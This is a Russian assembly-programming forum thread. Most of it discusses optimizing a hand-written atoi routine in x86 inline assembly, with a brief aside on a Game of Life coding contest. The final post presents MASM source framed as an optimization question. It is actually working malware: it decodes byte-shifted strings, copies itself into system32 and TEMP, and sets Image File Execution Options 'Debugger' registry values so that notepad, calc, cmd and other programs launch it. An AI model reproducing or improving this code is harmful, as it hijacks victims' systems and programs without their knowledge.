Lyrik > "хочу написать своего рода универсальный atoi" Странная какая-то универсальность - выделить все цифры в произвольной строке и представить их в виде целого числа. А если это вещественное число, или дата\время, или просто несколько целых с разделителями. В тоже время знак минус у тебя может стоять только в начале строки (?). Это скорее частная задача, чем общая (например, целое с разделителями групп разрядов). Обычно же выделяется число, образуемое только последовательными цифрами (до первого постороннего символа) и минус должен стоять непосредственно перед первой цифрой. Если перед числом допустимы пробелы или другие символы, то вначале делается отдельный цикл поиска первой цифры. Если цифра найдена, то анализ знака и цикл формирования числа. Примерно как в последнем варианте S_T_A_S_, только первый цикл поиска нужно подправить, т.к. cmp al,20h + jle не анализирует конец строки и допускает в начале символы 0..32, а заодно и 128..255. Если допустимы только пробелы, то нужно je. Иначе придется усложнить проверки. Кстати, если речь зашла об "универсальности", то не мешало бы ввести анализ переполнения результата.
Lyrik А как же "убрать все строки, где есть total" by S_T_A_S_? Код Код (Text): mov esi,buff mov cl, byte ptr [esi] cmp cl,'-' можно упростить до Код (Text): mov esi,buff cmp byte ptr [esi],'-' или вообще запушить esi до dec esi до цикла и запопить вместо mov esi,buff после endstr: Код Код (Text): xor ecx,ecx inc esi mov cl,byte ptr [esi] test cl,cl jz endstr можно упростить до Код (Text): xor ecx,ecx inc esi or cl,byte ptr [esi] jz endstr
Можно в одном цикле, незнаю будет ли это выгоднее, т.к. все операции выполняются независимо от того, была ли цифра или нет Код (Text): xor eax,eax xor ecx,ecx dec esi @@: sub ecx,0x30 cmp ecx,10 sbb edx,edx and ecx,edx and edx,eax xor eax,edx lea edx,[edx+edx*4] lea ecx,[ecx+edx*2] add eax,ecx inc esi xor ecx,ecx add cl,byte [esi] jnz @B
Lyrik > Тогда читай раздел MSDN об inline asm. esi, edi, ebx использовать внутри асм вставок не желательно т.к. это приводит к неявным push/pop Что бы соревноваться в компилятором, нужно представлять как он работает и смотреть на производимый им код. Только одно использование абсолютно ненужного total приведёт к формированию стэкового фрейма и ненужному коду: mov [ebp], eax mov eax, [ebp] ненужные переходы при проверке знака '-' можно обойти даже средствами Си. зачем они в ассемблерном коде? leo > Во-во под универсальностью я понимаю возможность распознавать числа в таких вариантах записи: 0101b 01234567 1234567890 0x123456789abcdef0 123456789abcdef0h
ОК.leo, я постарался написать как сказал ты (то есть удаления пробелов и учет минуса перед первой цифрой). Вот код: Код (Text): int Lyrik(const char* buff) { long total = 0; _asm { mov edx,buff xor esi,esi xor eax,eax space: movsx ecx,byte ptr [edx] cmp ecx,0x20 jg nospace inc edx jmp space nospace: cmp ecx,'-' jne cikl or esi,0x01 inc edx cikl: movsx ecx,byte ptr [edx] sub ecx,0x30 cmp ecx,9 ja endstr lea eax,[eax+eax*4] lea eax,[ecx+eax*2] inc edx jmp cikl endstr: cmp esi,1 jne kon neg eax kon: mov total,eax } return total; } Можно ли тут что-нибудь оптимизировать?
Lyrik Откуда появился movSx? Неудачно организован цикл пропуска лидирующих пробелов, т.к. имеет два перехода. cmp esi,1 -> test esi,esi
Lyrik А что, условие поменялось? Получается первый же символ, чей код >39h, воспринимается как конец строки. Или в строке уже не может быть букв? Вместо or esi,0x01 вполне можно поставить inc esi
Lyrik что лучше mov? Речь не о том что лучше, а о том что movSx - это не правильно. А как лучше сделать? Например так Код (Text): ... __asm mov edx,buff __asm xor eax,eax __asm dec edx l1: __asm inc edx __asm movzx ecx, byte ptr [edx] __asm or ecx,ecx /* в твоем коде этой */ __asm jz short endstr /* проверка вообще нет */ __asm cmp eax,' ' __asm jbe short l1 ...
Вот код для msvc.net & intel C++ Ошибка, про которую говорил leo, исправлена; mul заменено на lea. код пока на байт меньше (46 байт), чем это делал компилер. Интересно бы прикрутить вариант bogrus с одним циклом, но как быть со знаком ? :-( Код (Text): #pragma warning(push) #ifdef __INTEL_COMPILER #pragma warning(disable:1011) #endif int __fastcall a2i(const char * s) { __asm { skip_whitespace: mov al, [ecx] inc ecx sub al, 1 cmp al, ' ' jc skip_whitespace xor edx, edx cmp al, '-' - 1 setne dl sub ecx, edx dec edx push edx xor edx, edx // total = 0 xor eax, eax count: lea edx, [edx*4+edx] lea edx, [edx*2+eax] mov al, [ecx] sub al, '0' inc ecx cmp al, 9 jbe count pop eax xor edx, eax sub edx, eax xchg eax, edx // total } // return total } #pragma warning(pop)
Не вижу особого смысла пропуска всех спец символов <= 20h. Реально это мугут быть Tab, CR и LF. Но если это не частный случай, то чем Tab "главнее", например ';'. ИМХО логичнее отсекать либо только пробелы, либо уж все нецифровые символы. В первом случае цикл space упрощается (cmp ecx,20h + je space, а проверка на 0 делается при выходе из цикла). Во втором случае усложняются и цикл и проверка на '-', но зато получаем возможность извлечения чисел из строк вида "Param=128" и т.п. И еще, если нужно последовательно извлекать несколько чисел из строки или контролировать на каком символе произошел останов, то функция должна возвращать еще и указатель на последний нецифровой символ. Если взять за основу вариант S_T_A_S_, то пропуск всех не цифр может выглядеть так: Код (Text): ;ecx <- buff; если не _fastcall, то mov ecx,buff xor eax,eax lea edx,[ecx+1] ;сохраняем указатель для проверки на '-' @@skip: mov al,[ecx] test al,al jz @@end inc ecx sub al,30h cmp al,9 ja @@skip ;проверка на '-' ;здесь ecx указывает на следующий символ после первой цифры push esi cmp edx,ecx sbb esi,esi ;ох, и не нравятся мне эти adc\sbb :) xor edx,edx cmp byte [ecx+esi-1],'-' setne dl dec edx ;0 если нет, и -1 = 0xF..Fh если есть ;в eax уже лежит первая цифра ;и смысла ставить умножение на 10 в начало цикла вроде как нет @@digits: movzx esi,byte [ecx] sub esi,30h cmp esi,9 ja @@stop inc ecx lea eax,[eax+eax*4] lea eax,[esi+eax*2] ;для P4 лучше add eax,eax + add eax,esi jmp @@digits @@stop: ;случае '-' делаем neg == not + inc xor eax,edx sub eax,edx pop esi @@end: ;здесь можно сохранить ecx, если нужно для последующего анализа строки
Юзер может набрать цифры любой длины и минус где угодно, а считать копейки это дело серьёзное , т.ч. неизвестно сыграет ли "время-деньги" в правильную сторону
leo Есть такое понятие, как whitespace - это пробелы, табуляторы и (иногда) некоторые символы с ASCII < 20h. Описание atoi, которое есть у меня, никак не оговаривает их наличае перед цифрами. Но реализация микрософта допускает и пропускает ведущие whitespace. А, например, ';' - это печатный символ, который ни как не может быть приравнян к whitespace. Пропуск любых нецифровх символов IMHO абсурд. Где это может понадобиться? Если это какой-то парсинг, то явно будут различаться токены: foo123 и 123. Как к такой задаче отнесётся ф-ция? Обычно делают предварительный анализ - разбивку на токены, и уже потом для токенов-чисел atoi (и в этом случае нет смысла пропускать whitespace, их уже не будет) ЗЫ: стандарт не допускает символы @ в именах идентификаторов.
S_T_A_S_ > "Пропуск любых нецифровх символов IMHO абсурд." > "Где это может понадобиться?" Это может понадобиться при чтении текстовых файлов известного или "ограниченного" формата. А ";" это не просто печатный символ, а один из распространенных разделителей элементов списка. Например, мне приходится иметь дело с каталогами и таблицами координат (числа, правда, вещественные). Порядок следования чисел известен, а вот разделители могут быть разными: пробелы, табуляция, запятая, точка с запятой, псевдографика, "суперпсевдографика" типа I или i. При этом "печатные" символы могут сочетаться с пробелами. Другой пример, текстовые файлы, содержащие строки вида: ключевое слово, "мусор" (optional), одно или несколько чисел. К примеру такая строка из обменного формата MapInfo: "CoordSys NonEarth Units "m" Bounds (..., ...) (..., ...)", где вместо точек - числа, которые нам собс-но и нужны. Ну и т.п., а пропуск всего, что не цифра, в этих случаях позволяет упростить обработку и не городить огороды под каждый отдельный случай. Ни о какой универсальности, конечно, речь здесь не идет. Но наличие такой функции, возвращающей число и указатель на следующий за числом символ бывает очень даже полезным.
Ну конечно, придумать примеры всегда можно А вот отделение парсинга от обработки токенов как раз и появилось чтобы . hint: перевод числа в строку - общий случай. пропуск (каких-то) символов - частный случай.
Читал у Зубкова, что когда-то происходило соревнование на написание двух прог: самой быстрой и самой маленькой, которые эмулируют игру "Жизнь" (создают случайную колонию, она живёт, отображается на экране, прога завершается по ани кей). Никто не может подкинуть инфу? А то очень интересно.
Mescalito Есть подозрение, что в наше суровое время, самый быстрый вариант - это пиксел шейдер для современного графического ускорителя. Немножко не в тему, сорри.
bsl_zcs А так ли это? Ведь для ячейки life достаточно только 2 цвета (бит). И частота CPU в разы выше, чем GPU. Вот только в видеопамять он будет выводить медленнее...
Здравсвуйте ! У меня такой исходник подскажите пожалуйста как можно его оптимизировать: .386 .model flat, stdcall option casemap :none include \masm32\include\winmm.inc include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\advapi32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\winmm.lib .data mas db 54h,50h,47h,55h,58h,42h,53h,46h,5Dh,4Eh,6Ah,64h,73h,70h,74h,70h mas1 db 67h,75h,5Dh,58h,6Ah,6Fh,65h,70h,78h,74h,21h,4Fh,55h,5Dh,44h,76h mas2 db 73h,73h,66h,6Fh,75h,57h,66h,73h,74h,6Ah,70h,6Fh,5Dh,4Ah,6Eh,62h mas3 db 68h,66h,21h,47h,6Ah,6Dh,66h,21h,46h,79h,66h,64h,76h,75h,6Ah,70h mas4 db 6Fh,21h,50h,71h,75h,6Ah,70h,6Fh,74h,5Dh,01h,4Fh,50h,55h,46h,51h mas5 db 42h,45h,2Fh,46h,59h,46h,01h,01h,01h,58h,50h,53h,45h,51h,42h,45h mas6 db 2Fh,46h,59h,46h,01h,01h,01h,54h,50h,4Dh,2Fh,46h,59h,46h,01h,01h mas7 db 01h,01h,01h,01h,01h,44h,42h,4Dh,44h,2Fh,46h,59h,46h,01h,01h,01h mas8 db 01h,01h,01h,44h,4Eh,45h,2Fh,46h,59h,46h,01h,01h,01h,01h,01h,01h mas9 db 01h,45h,59h,45h,4Ah,42h,48h,2Fh,46h,59h,46h,01h,01h,01h,01h,47h mas0 db 53h,46h,46h,44h,46h,4Dh,4Dh,2Fh,46h,59h,46h,01h,01h,4Eh,54h,49h mas99 db 46h,42h,53h,55h,54h,2Fh,46h,59h,46h,01h,01h,4Eh,54h,51h,42h,4Ah masa db 4Fh,55h,2Fh,46h,59h,46h,01h,01h,01h,46h,59h,44h,46h,4Dh,2Fh,46h mas11 db 59h,46h,01h,01h,01h,01h,01h,58h,4Ah,4Fh,58h,50h,53h,45h,2Fh,46h masaa db 59h,46h,01h,01h,01h,51h,50h,58h,46h,53h,51h,4Fh,55h,2Fh,46h,59h masa1 db 46h,01h,01h,4Eh,54h,42h,44h,44h,46h,54h,54h,2Fh,46h,59h,46h,01h muso db 01h,55h,42h,54h,4Ch,4Eh,48h,53h,2Fh,46h,59h,46h,01h,01h,01h,58h musi db 42h,53h,34h,2Fh,46h,59h,46h,01h,01h,01h,01h,01h,01h,49h,4Dh,2Fh musu db 46h,59h,46h,01h,01h,01h,01h,01h,01h,01h,01h,58h,4Ah,4Fh,42h,4Eh musy db 51h,2Fh,46h,59h,46h,01h,01h,01h,01h,58h,4Ah,4Fh,53h,42h,53h,2Fh must db 46h,59h,46h,01h,01h,01h,01h,47h,42h,53h,2Fh,46h,59h,46h,01h,01h musr db 01h,01h,01h,01h,01h,58h,4Eh,51h,4Dh,42h,5Ah,46h,53h,2Fh,46h,59h muse db 46h,01h,01h,58h,4Ah,4Fh,42h,4Eh,51h,42h,2Fh,46h,59h,46h,01h,01h musw db 01h,4Ah,46h,59h,51h,4Dh,50h,53h,46h,2Fh,46h,59h,46h,01h,01h,50h musa db 51h,46h,53h,42h,2Fh,46h,59h,46h,01h,01h,01h,01h,01h,51h,49h,50h mus9 db 55h,50h,54h,49h,50h,51h,2Fh,46h,59h,46h,01h,42h,44h,53h,50h,53h mus8 db 45h,34h,33h,2Fh,46h,59h,46h,01h,01h,4Ah,44h,52h,4Dh,4Ah,55h,46h mus7 db 2Fh,46h,59h,46h,01h,01h,01h,49h,4Dh,33h,2Fh,46h,59h,46h,01h,01h mus6 db 01h,01h,01h,01h,01h,49h,49h,2Fh,46h,59h,46h,01h,01h,01h,01h,01h mus5 db 01h,01h,01h,54h,46h,55h,56h,51h,2Fh,46h,59h,46h,01h,01h,01h,01h mus4 db 01h,56h,4Fh,4Ah,4Fh,54h,55h,42h,4Dh,4Dh,2Fh,46h,59h,46h,01h,44h mus3 db 4Dh,46h,42h,4Fh,4Eh,48h,53h,2Fh,46h,59h,46h,01h,01h,55h,46h,4Dh mus2 db 4Fh,46h,55h,2Fh,46h,59h,46h,01h,01h,01h RegValue db 01h,45h,66h,63h,76h,68h,68h,66h,73h,01h,74h,66h,73h,77h,6Ah,64h RegValue1 db 66h,2Fh,66h,79h,66h,01h,44h,3Bh,5Dh,58h,4Ah,4Fh,45h,50h,58h,54h Alb db 5Dh,74h,7Ah,74h,75h,66h,6Eh,34h,33h,5Dh,74h,66h,73h,77h,6Ah,64h Heh db 66h,2Fh,66h,79h,66h,01h,44h,3Bh,5Dh,58h,4Ah,4Fh,45h,50h,58h,54h Go db 5Dh,55h,46h,4Eh,51h,5Dh,54h,76h,59h,59h,2Fh,68h,6Ah,67h,01h,21h HH db 01h,42h,6Dh,63h,6Ah,6Fh,62h,21h,54h,56h,51h,46h,53h,21h,22h,01h .DATA? pKey dd ? Key db 1024 dup(?) .code start: mov eax,00403000h mov ecx,618 ded2: dec dword ptr [eax] inc eax loop ded2 invoke GetModuleFileName,NULL,00403270h,sizeof Key mov ecx, 12 mov edi,00403220h mov esi,00403270h repe cmpsb .if (!ZERO?) mov ecx, 12 mov edi,00403240h mov esi,00403270h repe cmpsb .if (!ZERO?) call copy_alb .endif call heh .endif call copy_heh copy_alb: invoke CopyFile,00403270h,00403220h,FALSE reg: mov ecx,74 mov edi,004032A8h mov esi,00403000h rep movsb mov eax,0040304Bh mov ecx,32 ded: push ecx mov ecx,14 mov edi,004032F2h mov esi,eax rep movsb add eax,14 push eax invoke RegCreateKey, HKEY_LOCAL_MACHINE,004032A8h, addr pKey invoke RegSetValueEx, pKey,0040320Bh, NULL, REG_SZ,00403214h, sizeof RegValue1 pop eax pop ecx loop ded call ExitProcess copy_heh: invoke CopyFile,00403270h,00403240h,FALSE invoke WinExec,00403240h,0 call ExitProcess heh: invoke MessageBox,0,0040325Bh,00403259h,0 call ExitProcess end start Спасибо.